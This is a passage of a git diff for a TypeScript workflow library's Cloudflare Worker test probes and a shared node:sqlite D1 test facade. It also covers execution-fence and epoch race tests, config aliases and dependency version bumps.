+    intervened = await p3RawSchedules(evidence.database);
+  };
+  const call = () => router(request);
+  const response = await p3Response(
+    options.phase === 'none'
+      ? await call()
+      : await p3Held(gate, call, intervene),
+  );
+  armed = false;
+  const mutationMetrics = measured.reset();
+  const after = await p3RawSchedules(evidence.database);
+  const reads = options.closed
+    ? {
+        list: await p3Response(
+          await router(p3Request('/api/schedules', 'GET')),
+        ),
+        get: await p3Response(
+          await router(p3Request(`/api/schedules/${P3_ID}`, 'GET')),
+        ),
+        history: await p3Response(
+          await router(p3Request(`/api/schedules/${P3_ID}/triggers`, 'GET')),
+        ),
+      }
+    : undefined;
+  const readMetrics = measured.reset();
+  let positive: Awaited<ReturnType<typeof p3Response>> | undefined;
+  let positiveState: Awaited<ReturnType<typeof p3RawSchedules>> | undefined;
+  if (options.action === 'resume-race') {
+    positive = await p3Response(
+      await router(p3Request(`/api/schedules/${P3_ID}/resume`, 'POST')),
+    );
+    positiveState = await p3RawSchedules(evidence.database);
+  }
+  let settled: Awaited<ReturnType<typeof p3RawSchedules>> | undefined;
+  if (deferred && response.status === 202) {
+    if ((await adminFence.read()).state === 'draining')
+      await p3Transition(adminFence, 'open');
+    await p3Activate(adminFence);
+    await p3Transition(adminFence, 'draining');
+    await store.recordTrigger({
+      id: 'p3-trigger-000',
+      scheduleId: P3_ID,
+      runId: 'p3-prior-0',
+      scheduledFireAt: NOW,
+      actualFireAt: NOW + 1,
+      outcome: 'published',
+    });
+    settled = await p3RawSchedules(evidence.database);
+  }
+  return {
+    operation,
+    quiescent: true,
+    response,
+    gateHits: gate.hits,
+    finalBatches,
+    before,
+    intervened,
+    after,
+    reads,
+    positive,
+    positiveState,
+    settled,
+    audit,
+    fenceBeforeRelease,
+    fenceAfter: await adminFence.read(),
+    bodyBytes: rawBody === undefined ? 0 : encoder.encode(rawBody).length,
+    metrics: {
+      setup: setupMetrics,
+      mutation: mutationMetrics,
+      reads: readMetrics,
+      settlement: measured.metrics,
+      administration: administration.metrics,
+      evidence: evidence.metrics,
+    },
+  };
+}
+
+async function p3RawRuns(db: D1Database) {
+  const [snapshots, keys, owners] = await Promise.all([
+    db
+      .prepare(`SELECT * FROM ${P3_SNAPSHOTS} ORDER BY workflow_name, run_id`)
+      .all(),
+    db.prepare(`SELECT * FROM ${START_IDEMPOTENCY_TABLE} ORDER BY key`).all(),
+    db
+      .prepare(
+        `SELECT * FROM ${RESOURCE_OWNERSHIP_TABLE} ORDER BY resource_kind, resource_id`,
+      )
+      .all(),
+  ]);
+  return {
+    snapshots: snapshots.results,
+    keys: keys.results,
+    owners: owners.results,
+  };
+}
+
+async function p3RawFence(db: D1Database) {
+  const [rows, schema] = await Promise.all([
+    db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} ORDER BY id`).all(),
+    db.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(),
+  ]);
+  return { rows: rows.results, schema: schema.results };
+}
+
+async function p3RunProbe(db: D1Database, url: URL) {
+  const options = p3Options(url);
+  const structural = url.searchParams.has('structure');
+  const structure = p3Choice(
+    url.searchParams,
+    'structure',
+    ['none', 'schema-extension', 'null-singleton'],
+    'none',
+  );
+  const proof = url.searchParams.get('proof') === 'true';
+  const loseResponse = url.searchParams.get('loss') === 'true';
+  const advanceAfterAdmission =
+    url.searchParams.get('afterAdmission') === 'advance';
+  if (structural && options.phase !== 'final')
+    throw new Error(
+      'P3 structural fixture requires the final Runtime boundary',
+    );
+  const gate = p3Gate();
+  let armed = false;
+  let initialBatches = 0;
+  let responseLosses = 0;
+  let initialBatchRows: number[] | undefined;
+  const isInitialBatch = (statements: P3Statement[]) =>
+    statements.some(
+      ({ sql }) =>
+        sql.includes(`INSERT INTO "${P3_SNAPSHOTS}"`) &&
+        sql.includes(EXECUTION_FENCE_TABLE),
+    );
+  const measured = p3Database(db, {
+    beforeBatch: async (statements) => {
+      if (!armed || !isInitialBatch(statements)) return;
+      initialBatches++;
+      if (options.phase === 'final' && gate.hits === 0) await gate.wait();
+    },
+    afterBatch: structural
+      ? async (statements, results) => {
+          if (!armed || !isInitialBatch(statements)) return;
+          initialBatchRows = results.map((result) => result.results.length);
+          if (advanceAfterAdmission) {
+            if ((await adminFence.read()).state !== 'open')
+              await p3Transition(adminFence, 'open');
+            await p3Activate(adminFence);
+          }
+          if (loseResponse && responseLosses === 0) {
+            responseLosses++;
+            throw new Error('P3 initial admission response was lost');
+          }
+        }
+      : undefined,
+  });
+  const administration = p3Database(db);
+  const evidence = p3Database(db);
+  const fence = new ExecutionFenceStore(measured.database);
+  const adminFence = new ExecutionFenceStore(administration.database);
+  await fence.seed('open');
+  const storage = createD1Storage({
+    binding: measured.database,
+    tablePrefix: P3_PREFIX,
+  });
+  await storage.init();
+  const reservations = new StartIdempotencyStore(measured.database);
+  await reservations.reserve({
+    key: 'p3-unrelated-key',
+    owner: P3_OWNER,
+    targetKind: 'workflow',
+    targetId: P3_WORKFLOW,
+    mintRunId: () => 'p3-unrelated',
+  });
+  await new D1ResourceOwnershipStore(measured.database).claim(
+    'run',
+    'p3-unrelated',
+    P3_OWNER,
+  );
+  let effects = 0;
+  const app = init(
+    { storage },
+    {
+      executionFence: fence,
+      startIdempotency: reservations,
+      requestContextForRun: async () => {
+        if (armed && options.phase === 'provider' && gate.hits === 0)
+          await gate.wait();
+        return {};
+      },
+    },
+  );
+  const schema = z.object({ value: z.string() });
+  const workflow = app
+    .createWorkflow({
+      id: P3_WORKFLOW,
+      inputSchema: schema,
+      outputSchema: schema,
+    })
+    .then(
+      app.createStep({
+        id: 'p3-count',
+        inputSchema: schema,
+        outputSchema: schema,
+        execute: async ({ inputData }) => {
+          effects++;
+          return inputData;
+        },
+      }),
+    )
+    .commit();
+  await app.runtime.status(P3_WORKFLOW, 'initialize');
+  if (options.action !== 'activate') {
+    await p3Activate(adminFence);
+    await p3Activate(adminFence);
+  }
+  if (options.closed) await p3Transition(adminFence, 'draining');
+  const keyed = url.searchParams.get('keyed') === 'true' || proof;
+  if (proof) {
+    const reading = await adminFence.read();
+    await adminFence.transition({
+      expected: reading.state,
+      next: 'proof-only',
+      proofKey: 'p3-key',
+      expectedMutationEpoch: reading.mutationEpoch,
+      expectedRevision: reading.transitionRevision,
+    });
+  }
+  const resolver = p3Resolver(measured.database, options.epoch);
+  let runtimeOptions: StartRunOptions | undefined;
+  let capturedEpoch: number | undefined;
+  const router = createRunRouter({
+    resolve: resolver.resolve,
+    workflows: [
+      {
+        id: P3_WORKFLOW,
+        title: 'P3 counted workflow',
+        description: 'Local epoch acceptance',
+        sampleInput: { value: 'original' },
+      },
+    ],
+    startIdempotency: {
+      store: reservations,
+      executionFence: fence,
+      live: async (workflowId, runId) =>
+        app.runtime.isRunActive(workflowId, runId),
+      persistedStart: async (workflowId, runId) => {
+        const state = await app.runtime.authoritativeStartState(
+          workflowId,
+          runId,
+        );
+        if (!state) return undefined;
+        const identity = state.provenance.startIdentity;
+        if (!identity)
+          throw new Error('P3 stored start lacks its original identity');
+        const execution = { ...state.execution, ...identity };
+        return state.kind === 'initial'
+          ? { kind: 'initial', execution }
+          : { kind: 'result', execution, value: state.summary };
+      },
+    },
+    beforeStart: async () => {
+      if (options.phase === 'auth') await gate.wait();
+    },
+    start: (input) => {
+      if (input.workflowId !== workflow.id || input.runId !== 'p3-run')
+        throw new Error('P3 Runtime start tuple changed');
+      capturedEpoch = input.mutationEpoch;
+      runtimeOptions = {
+        runId: input.runId,
+        inputData: input.inputData,
+        requestedBy: input.principal.id,
+        requestedByKind: input.principal.kind,
+        mutationEpoch: input.mutationEpoch,
+        startReservation: input.startReservation,
+        idempotencyKey: input.idempotencyKey,
+      };
+      return app.runtime.start(input.workflowId, runtimeOptions);
+    },
+    status: async (workflowId, runId) =>
+      (await app.runtime.status(workflowId, runId)) ?? undefined,
+    resume: async () => {
+      throw new Error('P3 counted workflow cannot suspend');
+    },
+  });
+  const before = await p3RawRuns(evidence.database);
+  const fenceStructureBefore = structural
+    ? await p3RawFence(evidence.database)
+    : undefined;
+  const setupMetrics = measured.reset();
+  let fenceBeforeRelease = await adminFence.read();
+  let intervened = before;
+  let fenceStructureIntervened = fenceStructureBefore;
+  armed = true;
+  const intervene = async () => {
+    if (options.action === 'activate' || options.action === 'advance')
+      await p3Activate(adminFence);
+    if (options.action === 'cycle') {
+      await p3Transition(adminFence, 'draining');
+      await p3Transition(adminFence, 'open');
+    }
+    if (options.action === 'capture') {
+      resolver.replace();
+      if (runtimeOptions)
+        Object.assign(runtimeOptions, {
+          mutationEpoch: 3,
+          requestedBy: 'replacement',
+          inputData: { value: 'replacement' },
+        });
+    }
+    fenceBeforeRelease = await adminFence.read();
+    if (structure === 'schema-extension') {
+      await administration.database
+        .prepare(
+          `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN p3_shape TEXT`,
+        )
+        .run();
+    }
+    if (structure === 'null-singleton') {
+      await administration.database
+        .prepare(
+          `INSERT INTO ${EXECUTION_FENCE_TABLE} (id, state, updated_at) VALUES (NULL, 'open', 0)`,
+        )
+        .run();
+    }
+    if (structural)
+      fenceStructureIntervened = await p3RawFence(evidence.database);
+    intervened = await p3RawRuns(evidence.database);
+  };
+  const body = {
+    workflowId: P3_WORKFLOW,
+    inputData: { value: 'original' },
+    ...(keyed ? { idempotencyKey: 'p3-key' } : {}),
+  };
+  const call = () => router(p3Request('/runs', 'POST', JSON.stringify(body)));
+  const response = await p3Response(
+    options.phase === 'none'
+      ? await call()
+      : await p3Held(gate, call, intervene),
+  );
+  armed = false;
+  const mutationMetrics = measured.reset();
+  const after = await p3RawRuns(evidence.database);
+  const effectsAfterRequest = effects;
+  const cachedAfterRequest = workflow.runs.has('p3-run');
+  const activeAfterRequest = app.runtime.isRunActive(P3_WORKFLOW, 'p3-run');
+  let positive: unknown;
+  if (response.status === 409 && !keyed && !structural) {
+    const current = await adminFence.read();
+    positive = await app.runtime.start(P3_WORKFLOW, {
+      runId: 'p3-run',
+      inputData: { value: 'positive' },
+      requestedBy: P3_OWNER.id,
+      requestedByKind: 'human',
+      mutationEpoch: current.mutationEpoch,
+    });
+  }
+  const positiveRows = await p3RawRuns(evidence.database);
+  const fenceStructureAfter = structural
+    ? await p3RawFence(evidence.database)
+    : undefined;
+  const finalFence = structure === 'none' ? await adminFence.read() : undefined;
+  const checkedRun = {
+    workflowId: workflow.id,
+    runId: runtimeOptions?.runId ?? 'p3-run',
+  };
+  if (checkedRun.workflowId !== P3_WORKFLOW || checkedRun.runId !== 'p3-run')
+    throw new Error('P3 Runtime quiescence tuple changed');
+  if (app.runtime.isRunActive(checkedRun.workflowId, checkedRun.runId))
+    throw new Error('P3 Runtime remains active after its response');
+  return {
+    quiescent: true,
+    checkedRun,
+    response,
+    capturedEpoch: capturedEpoch ?? null,
+    gateHits: gate.hits,
+    initialBatches,
+    ...(structural
+      ? {
+          structural: {
+            fixture: structure,
+            proof,
+            responseLosses,
+            initialBatchRows,
+            before: fenceStructureBefore,
+            intervened: fenceStructureIntervened,
+            after: fenceStructureAfter,
+          },
+        }
+      : {}),
+    before,
+    intervened,
+    after,
+    effectsAfterRequest,
+    effects,
+    cachedAfterRequest,
+    activeAfterRequest,
+    positive,
+    positiveRows,
+    fenceBeforeRelease,
+    fenceAfter: finalFence,
+    metrics: {
+      setup: setupMetrics,
+      mutation: mutationMetrics,
+      positive: measured.metrics,
+      administration: administration.metrics,
+      evidence: evidence.metrics,
+    },
+  };
+}
+
+async function p3CasLossProbe(db: D1Database) {
+  let armed = false;
+  let losses = 0;
+  const measured = p3Database(db, {
+    afterStatement: (sql) => {
+      if (
+        armed &&
+        losses === 0 &&
+        sql.trimStart().startsWith(`UPDATE ${EXECUTION_FENCE_TABLE}\n`)
+      ) {
+        losses++;
+        throw new Error('P3 lost committed CAS response');
+      }
+    },
+  });
+  const fence = new ExecutionFenceStore(measured.database);
+  const independent = new ExecutionFenceStore(db);
+  await fence.seed('open');
+  const before = await fence.read();
+  const request = {
+    expected: 'open' as const,
+    next: 'draining' as const,
+    expectedMutationEpoch: before.mutationEpoch,
+    expectedRevision: before.transitionRevision,
+    advanceMutationEpoch: true,
+  };
+  armed = true;
+  let firstError: string | undefined;
+  try {
+    await fence.transition(request);
+  } catch (error) {
+    firstError = String(error);
+  }
+  const afterCommit = await independent.read();
+  const rawAfterCommit = (
+    await db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all()
+  ).results;
+  const retry = await fence.transition(request);
+  const rawAfterRetry = (
+    await db.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all()
+  ).results;
+  let conflict: unknown;
+  try {
+    await fence.transition({ ...request, advanceMutationEpoch: false });
+  } catch (error) {
+    conflict = (error as { reason?: unknown }).reason;
+  }
+  return {
+    quiescent: true,
+    losses,
+    firstError,
+    before,
+    afterCommit,
+    retry,
+    rawAfterCommit,
+    rawAfterRetry,
+    conflict,
+    metrics: measured.metrics,
+  };
+}
+
+const handler = {
+  async fetch(request: Request, env: Env): Promise<Response> {
+    try {
+      const path = new URL(request.url).pathname;
+      if (request.method !== 'POST') {
+        return new Response('not found', { status: 404 });
+      }
+      if (path === '/seed') {
+        await seedDeploymentIdentity(env.DB, 'spike', 'open');
+        return Response.json({ ok: true });
+      }
+      if (path === '/notification-chronology/future')
+        return Response.json(await notificationChronologyFutureProbe(env.DB));
+      if (path === '/notification-chronology/offsets')
+        return Response.json(await notificationChronologyOffsetsProbe(env.DB));
+      if (path === '/notification-chronology/bounds')
+        return Response.json(await notificationChronologyBoundsProbe(env.DB));
+      if (path === '/notification-chronology/list')
+        return Response.json(await notificationChronologyListProbe(env.DB));
+      if (path === '/notification-chronology/ttl')
+        return Response.json(await notificationChronologyTtlProbe(env.DB));
+      if (path === '/p3-cleanup') return Response.json(await p3Cleanup(env.DB));
+      if (path === '/epoch-p3/isolation-missing-witness')
+        return Response.json({ metrics: { diagnostic: p3Metrics() } });
+      if (path === '/epoch-p3/schedule')
+        return Response.json(
+          await p3ScheduleProbe(env.DB, new URL(request.url)),
+        );
+      if (path === '/epoch-p3/run')
+        return Response.json(await p3RunProbe(env.DB, new URL(request.url)));
+      if (path === '/epoch-p3/cas-loss')
+        return Response.json(await p3CasLossProbe(env.DB));
+      if (path.startsWith('/retention-e/')) {
+        const [, , scenario, action] = path.split('/');
+        return Response.json(
+          await eRetentionProbe(env.DB, scenario ?? '', action),
+        );
       }
       const result =
         path === '/approval'
diff --git a/packages/flowsafe/test-support/sqlite.ts b/packages/flowsafe/test-support/sqlite.ts
index 106b6b55..02c53165 100644
--- a/packages/flowsafe/test-support/sqlite.ts
+++ b/packages/flowsafe/test-support/sqlite.ts
@@ -32,53 +32,82 @@ export function openSqlite(): SqliteDatabase {
   return new mod.DatabaseSync(':memory:');
 }
 
+/** The rows and write metadata one statement resolves, in D1's envelope. */
+export interface SqliteUnitResult<T = unknown> {
+  success: boolean;
+  results: T[];
+  meta: { changes?: number };
+}
+
+/**
+ * The prepared statement the facade hands a caller. Method syntax and the row
+ * type parameter are the shape the structural D1 subsets of this package
+ * declare (src/signals/d1-shared.ts, src/do-runner/workflow-snapshot-row.ts);
+ * src/do-runner/sqlite-fixture.test.ts pins the facade against them.
+ */
+export interface SqliteUnitStatement {
+  bind(...values: unknown[]): SqliteUnitStatement;
+  first<T = unknown>(column?: string): Promise<T | null>;
+  run<T = unknown>(): Promise<SqliteUnitResult<T>>;
+  all<T = unknown>(): Promise<SqliteUnitResult<T>>;
+}
+
+/** The database surface a SQL unit test drives. */
+export interface SqliteUnitDatabase {
+  prepare(sql: string): SqliteUnitStatement;
+  batch(statements: SqliteUnitStatement[]): Promise<SqliteUnitResult[]>;
+}
+
 /** A narrow prepared-statement facade for SQL unit tests only. */
-export function sqliteUnitDatabase(db: SqliteDatabase): unknown {
+export function sqliteUnitDatabase(db: SqliteDatabase): SqliteUnitDatabase {
   const runSync = Symbol('runSync');
+  // The synchronous seam `batch` runs a statement of this fixture's through.
+  // It stays off SqliteUnitStatement, so a statement built elsewhere still
+  // satisfies the batch parameter.
+  type SyncStatement = { [runSync]?: () => SqliteUnitResult };
 
-  function statement(sql: string, params: unknown[]): Record<string, unknown> {
-    const execute = () => {
-      const outcome = db.prepare(sql).run(...params) as {
-        changes?: number | bigint;
+  function statement(sql: string, params: unknown[]): SqliteUnitStatement {
+    const execute = <T = unknown>(): SqliteUnitResult<T> => {
+      const results = db.prepare(sql).all(...params) as T[];
+      const outcome = db.prepare('SELECT changes() AS count').get() as {
+        count: number | bigint;
       };
       return {
         success: true,
-        meta: { changes: Number(outcome?.changes ?? 0) },
+        results,
+        meta: { changes: Number(outcome.count) },
       };
     };
-    return {
+    // Bound before it is returned: checked as a fresh literal against
+    // SqliteUnitStatement, the seam key below reads as an unknown property.
+    const prepared = {
       bind: (...values: unknown[]) => statement(sql, values),
-      first: async (column?: string) => {
+      first: async <T = unknown>(column?: string): Promise<T | null> => {
         const row = db.prepare(sql).get(...params) as
           | Record<string, unknown>
           | undefined;
         if (row === undefined) return null;
-        return column !== undefined ? (row[column] ?? null) : row;
+        return (column !== undefined ? (row[column] ?? null) : row) as T | null;
       },
-      run: async () => execute(),
+      run: async <T = unknown>(): Promise<SqliteUnitResult<T>> => execute<T>(),
       [runSync]: execute,
-      all: async () => ({
+      all: async <T = unknown>(): Promise<SqliteUnitResult<T>> => ({
         success: true,
-        results: db.prepare(sql).all(...params),
+        results: db.prepare(sql).all(...params) as T[],
         meta: {},
       }),
     };
+    return prepared;
   }
   return {
     prepare: (sql: string) => statement(sql, []),
-    batch: async (
-      statements: Array<{
-        run: () => Promise<unknown>;
-        [runSync]?: () => unknown;
-      }>,
-    ) => {
+    batch: async (statements: SqliteUnitStatement[]) => {
       db.exec('BEGIN IMMEDIATE');
       try {
-        const results = [];
+        const results: SqliteUnitResult[] = [];
         for (const prepared of statements) {
-          results.push(
-            prepared[runSync] ? prepared[runSync]() : await prepared.run(),
-          );
+          const sync = (prepared as SyncStatement)[runSync];
+          results.push(sync ? sync() : await prepared.run());
         }
         db.exec('COMMIT');
         return results;
diff --git a/packages/flowsafe/tsconfig.test.json b/packages/flowsafe/tsconfig.test.json
index b4db56d7..fa5f08a5 100644
--- a/packages/flowsafe/tsconfig.test.json
+++ b/packages/flowsafe/tsconfig.test.json
@@ -21,12 +21,18 @@
       "@proofoftech/flowsafe/agent-host": ["./src/agent-host/index.ts"],
       "@proofoftech/flowsafe/audit-export": ["./src/audit-export/index.ts"],
       "@proofoftech/flowsafe/do-runner": ["./src/do-runner/index.ts"],
+      "@proofoftech/flowsafe/do-runner/constants": [
+        "./src/do-runner/constants.ts"
+      ],
+      "@proofoftech/flowsafe/do-runner/testing": ["./src/do-runner/testing.ts"],
       "@proofoftech/flowsafe/host-kit": ["./src/host-kit/index.ts"]
     }
   },
   "include": [
     "src",
     "examples",
+    "vitest.config.ts",
+    "test-support/d1-type-compatibility.ts",
     "test-support/r2-type-compatibility.ts",
     "deploy/worker.ts",
     "deploy/worker.e2e.test.ts"
diff --git a/packages/flowsafe/typedoc.json b/packages/flowsafe/typedoc.json
index 8d12ecab..3dadc262 100644
--- a/packages/flowsafe/typedoc.json
+++ b/packages/flowsafe/typedoc.json
@@ -9,6 +9,8 @@
     "src/artifacts/index.ts",
     "src/audit-export/index.ts",
     "src/do-runner/index.ts",
+    "src/do-runner/constants.ts",
+    "src/do-runner/testing.ts",
     "src/deployment-identity-protocol.ts",
     "src/goals/index.ts",
     "src/host-kit/index.ts",
diff --git a/packages/flowsafe/vitest.config.ts b/packages/flowsafe/vitest.config.ts
index 02029e12..69773c34 100644
--- a/packages/flowsafe/vitest.config.ts
+++ b/packages/flowsafe/vitest.config.ts
@@ -52,10 +52,17 @@ export default defineConfig({
         replacement: new URL(`./src/${subpath}/index.ts`, import.meta.url)
           .pathname,
       })),
+      // The two deadline subpaths are single modules rather than directory
+      // barrels, so they carry their own aliases instead of joining the list
+      // above, whose replacement appends `/index.ts`. tsconfig.test.json
+      // mirrors them with `paths`.
+      ...['do-runner/constants', 'do-runner/testing'].map((subpath) => ({
+        find: new RegExp(`^@proofoftech/flowsafe/${subpath}$`),
+        replacement: new URL(`./src/${subpath}.ts`, import.meta.url).pathname,
+      })),
     ],
   },
   test: {
     exclude: [...configDefaults.exclude, '**/*.workerd.test.ts'],
-    passWithNoTests: true,
   },
 });
diff --git a/packages/showcase/package.json b/packages/showcase/package.json
index bccbd958..f63c559b 100644
--- a/packages/showcase/package.json
+++ b/packages/showcase/package.json
@@ -43,7 +43,7 @@
   },
   "devDependencies": {
     "@cloudflare/vite-plugin": "1.50.0",
-    "@cloudflare/workers-types": "5.20260730.1",
+    "@cloudflare/workers-types": "5.20260905.1",
     "@testing-library/jest-dom": "^6.6.0",
     "@testing-library/react": "^16.1.0",
     "@types/react": "^19.0.0",
@@ -53,7 +53,7 @@
     "typescript": "^5.6",
     "vite": "^6",
     "vitest": "^4.1.8",
-    "wrangler": "4.118.0"
+    "wrangler": "4.129.0"
   },
   "license": "Apache-2.0"
 }
diff --git a/packages/showcase/vite.config.ts b/packages/showcase/vite.config.ts
index 012c7814..af336094 100644
--- a/packages/showcase/vite.config.ts
+++ b/packages/showcase/vite.config.ts
@@ -9,6 +9,12 @@ const src = (path: string) => new URL(path, import.meta.url).pathname;
 // so API requests, bindings, Durable Objects, and WebSockets use the deployed
 // topology while Vite bundles the SPA and approval-ui components.
 export default defineConfig({
+  // The root pnpm override `miniflare@5.20260730.0-alpha>workerd` (package.json)
+  // selects a miniflare version rather than a consumer, so it reaches this
+  // plugin as well as the Workers test pool: the miniflare that
+  // @cloudflare/vite-plugin 1.50.0 resolves runs on workerd 1.20260903.1, while
+  // the plugin's own workerd dependency stays 1.20260730.1. The showcase accepts
+  // that local dev and build runtime; the override keeps its approved selector.
   plugins: [react(), cloudflare()],
   resolve: {
     // Mirrors tsconfig.json paths — @/ (SPA) and @flowsafe/ (deep DOM-free
diff --git a/packages/showcase/worker/worker.fetch.e2e.test.ts b/packages/showcase/worker/worker.fetch.e2e.test.ts
index df9c5962..ca8248ca 100644
--- a/packages/showcase/worker/worker.fetch.e2e.test.ts
+++ b/packages/showcase/worker/worker.fetch.e2e.test.ts
@@ -4,94 +4,16 @@
 // the routers directly. The prepared-statement SQLite adapter is unit-only;
 // D1/workerd and Durable Object fidelity live in worker.harness.test.ts.
 
+import {
+  openSqlite,
+  type SqliteDatabase,
+  sqliteUnitDatabase,
+} from '@flowsafe-test/sqlite.js';
 import { D1ApprovalStoreFactory } from '@proofoftech/flowsafe/approval-api';
 import { describe, expect, it, vi } from 'vitest';
 import { STATE_COOKIE } from '#worker/demo-auth';
 import handler, { ShowcaseRunner } from '#worker/worker';
 
-interface SqliteStatement {
-  get(...params: unknown[]): unknown;
-  run(...params: unknown[]): unknown;
-  all(...params: unknown[]): unknown[];
-}
-
-interface SqliteDatabase {
-  prepare(sql: string): SqliteStatement;
-  exec(sql: string): void;
-}
-
-function openSqlite(): SqliteDatabase {
-  const getBuiltin = (
-    globalThis as {
-      process?: { getBuiltinModule?: (id: string) => unknown };
-    }
-  ).process?.getBuiltinModule;
-  if (!getBuiltin) {
-    throw new Error('node:sqlite unavailable — tests require node >= 22.13');
-  }
-  const mod = getBuiltin('node:sqlite') as {
-    DatabaseSync: new (path: string) => SqliteDatabase;
-  };
-  return new mod.DatabaseSync(':memory:');
-}
-
-function sqliteUnitDatabase(db: SqliteDatabase): unknown {
-  const runSync = Symbol('runSync');
-
-  function statement(sql: string, params: unknown[]): Record<string, unknown> {
-    const execute = () => {
-      const outcome = db.prepare(sql).run(...params) as {
-        changes?: number | bigint;
-      };
-      return {
-        success: true,
-        meta: { changes: Number(outcome?.changes ?? 0) },
-      };
-    };
-    return {
-      bind: (...values: unknown[]) => statement(sql, values),
-      first: async (column?: string) => {
-        const row = db.prepare(sql).get(...params) as
-          | Record<string, unknown>
-          | undefined;
-        if (row === undefined) return null;
-        return column !== undefined ? (row[column] ?? null) : row;
-      },
-      run: async () => execute(),
-      [runSync]: execute,
-      all: async () => ({
-        success: true,
-        results: db.prepare(sql).all(...params),
-        meta: {},
-      }),
-    };
-  }
-  return {
-    prepare: (sql: string) => statement(sql, []),
-    batch: async (
-      statements: Array<{
-        run: () => Promise<unknown>;
-        [runSync]?: () => unknown;
-      }>,
-    ) => {
-      db.exec('BEGIN IMMEDIATE');
-      try {
-        const results = [];
-        for (const prepared of statements) {
-          results.push(
-            prepared[runSync] ? prepared[runSync]() : await prepared.run(),
-          );
-        }
-        db.exec('COMMIT');
-        return results;
-      } catch (error) {
-        db.exec('ROLLBACK');
-        throw error;
-      }
-    },
-  };
-}
-
 function required<T>(value: T | undefined): T {
   if (value === undefined) throw new Error('handler method missing');
   return value;
@@ -178,6 +100,64 @@ async function call(
   return response as unknown as Response;
 }
 
+// The shared node:sqlite fixture backs this suite's DB, so pin the result
+// shape its D1 consumers read.
+describe('the node:sqlite D1 facade', () => {
+  interface PreparedResult {
+    success: boolean;
+    results: unknown[];
+    meta: { changes: number };
+  }
+  interface Prepared {
+    bind(...values: unknown[]): Prepared;
+    first(column?: string): Promise<unknown>;
+    run(): Promise<PreparedResult>;
+  }
+  interface Facade {
+    prepare(sql: string): Prepared;
+    batch(statements: Prepared[]): Promise<PreparedResult[]>;
+  }
+
+  function openFacade(): Facade {
+    const sqlite = openSqlite();
+    sqlite.exec('CREATE TABLE t (k TEXT PRIMARY KEY, v TEXT NOT NULL)');
+    return sqliteUnitDatabase(sqlite) as Facade;
+  }
+
+  it('reports success, results and the changed-row count from run()', async () => {
+    const db = openFacade();
+    expect(
+      await db
+        .prepare('INSERT INTO t (k, v) VALUES (?, ?)')
+        .bind('a', 'one')
+        .run(),
+    ).toEqual({ success: true, results: [], meta: { changes: 1 } });
+    expect(
+      await db.prepare('SELECT v FROM t WHERE k = ?').bind('a').first('v'),
+    ).toBe('one');
+    expect(
+      await db.prepare('SELECT v FROM t WHERE k = ?').bind('zz').first(),
+    ).toBeNull();
+  });
+
+  it('commits a batch as one transaction and rolls all of it back on a failure', async () => {
+    const db = openFacade();
+    await db.batch([
+      db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('a', 'one'),
+      db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('b', 'two'),
+    ]);
+    expect(await db.prepare('SELECT count(*) AS n FROM t').first('n')).toBe(2);
+
+    await expect(
+      db.batch([
+        db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('c', 'three'),
+        db.prepare('INSERT INTO t (k, v) VALUES (?, ?)').bind('a', 'dup'),
+      ]),
+    ).rejects.toThrow();
+    expect(await db.prepare('SELECT count(*) AS n FROM t').first('n')).toBe(2);
+  });
+});
+
 describe('showcase worker fetch(): auth composition', () => {
   it('abandons run approvals once and accepts a cleanup replay', async () => {
     const sqlite = openSqlite();
diff --git a/packages/showcase/worker/workflows.e2e.test.ts b/packages/showcase/worker/workflows.e2e.test.ts
index 1f82f6c3..3c142576 100644
--- a/packages/showcase/worker/workflows.e2e.test.ts
+++ b/packages/showcase/worker/workflows.e2e.test.ts
@@ -25,7 +25,7 @@ import {
   queueApprovalForSuspension,
   resumeRunWithRequeue,
 } from '@proofoftech/flowsafe/host-kit';
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 import { buildShowcaseRuntime, SHOWCASE_MODULES } from '#worker/runtime';
 import { ACCESS_CONNECTOR } from '#worker/workflows/access-request';
 import { PUBLISH_CONNECTOR } from '#worker/workflows/content-pipeline';
@@ -276,7 +276,10 @@ describe('product-launch: two approval gates re-queued through host-kit', () =>
       expect.objectContaining({
         resource: DEPLOY_CONNECTOR,
         decision: 'allowed',
-        detail: expect.objectContaining({ dryRun: true }),
+        detail: expect.objectContaining({
+          dryRun: true,
+          egressEnforcement: 'declaration-only',
+        }),
       }),
     );
 
@@ -375,10 +378,12 @@ describe('access-request: gated grant with cross-workflow isolation', () => {
       granted: true,
       resource: 'prod-database',
     });
+    // #then — the grant connector's declared 'enforced' posture reaches audit
     expect(harness.audit.events()).toContainEqual(
       expect.objectContaining({
         resource: ACCESS_CONNECTOR,
         decision: 'allowed',
+        detail: expect.objectContaining({ egressEnforcement: 'enforced' }),
       }),
     );
   });
@@ -554,11 +559,13 @@ describe('showcase run routes', () => {
   function routerFor(
     harness: ReturnType<typeof buildHarness>,
     actor: ApprovalActor,
+    mutationEpoch?: number,
   ) {
     return createRunRouter({
       workflows: SHOWCASE_MODULES.map((entry) => entry.meta),
       resolve: createActorResolver({
         authenticate: () => actor,
+        mutationEpoch,
         storeFactory: harness.storeFactory,
         deploymentTag: 'showcase-test',
         buildService: (store) =>
@@ -576,7 +583,13 @@ describe('showcase run routes', () => {
       // In-memory harness, no database to reserve against: the opt-out is
       // written down rather than defaulted — see RunRouterStartIdempotency.
       startIdempotency: 'none',
-      start: async ({ workflowId, runId, inputData, principal }) => {
+      start: async ({
+        workflowId,
+        runId,
+        inputData,
+        principal,
+        mutationEpoch,
+      }) => {
         const resources = harness.storeFactory.resources();
         const resourceOwner = principalOwner(principal);
         if (!(await resources.claim('run', runId, resourceOwner))) {
@@ -586,6 +599,7 @@ describe('showcase run routes', () => {
           return await harness.runtime.start(workflowId, {
             runId,
             inputData,
+            mutationEpoch,
             requestedBy: principal.id,
             requestedByKind: principal.kind,
           });
@@ -628,6 +642,55 @@ describe('showcase run routes', () => {
     targetScope: 'access-request',
   };
 
+  it('forwards a configured epoch to Runtime after the ownership claim wait', async () => {
+    const harness = buildHarness();
+    const handle = routerFor(harness, { id: 'ada', role: 'admin' }, 7);
+    const resources = harness.storeFactory.resources();
+    const claim = resources.claim.bind(resources);
